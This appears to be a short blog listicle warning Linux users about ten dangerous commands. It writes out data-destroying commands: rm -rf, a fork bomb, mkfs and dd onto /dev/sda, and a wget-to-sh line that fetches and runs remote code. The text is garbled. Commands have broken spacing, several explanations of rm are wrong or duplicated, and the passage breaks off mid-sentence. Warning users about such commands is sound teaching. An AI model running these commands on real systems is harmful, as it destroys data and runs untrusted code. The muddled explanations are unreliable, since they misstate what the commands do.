10 Dangerous Linux Commands You Should Never Run! Be Alert While Executing!

Linux commands are most interesting, productive and very much helpful. It is most powerful as it never asks for confirmation. But it is very dangerous especially when you have no clear idea about the command. Even small mistakes in a command lead to irreversible loss to the Operating System. A new Linux user should be very careful w ile executing the commands. As it allows the user root, a user should be always alert about what he is doing.

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  1. Here are the 10  Linux Commands  about which you should know clearly before executing those commands

  2. #1. rm -rf

  3. #2.: () {: |: &} ;:

  4. #3. command> / dev / sda

  5. #4. mv directory / dev / null

  6. #5. wget http://example.com/something -O – | sh

  7. #6. Mkfs.ext3 / dev / sda

  8. #7. > File

  9. #8. ^ foo ^ bar

  10. #9. dd if=/dev/random of=/dev/sda

  11. #10. Invisible command

Here are the 10  Linux Commands  about which you should know clearly before executing those commands

#1. rm -rf

This command is the fastest way to delete the folder and entire content in it. But when you make a mistake in typing it leads to the lot of loss.

  1. -rm-rf- deletes all the files in the home folder.

  2. rm -rf* delete all the configuration files

  3. rm -rf* delete all the configuration files.

  4. rm -f deletes only read files.

  5. Rm -r deletes the folder recursively (even the empty folder)

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This command is known as Fork Bomb as it creates the new copies of itself. This replication process continues until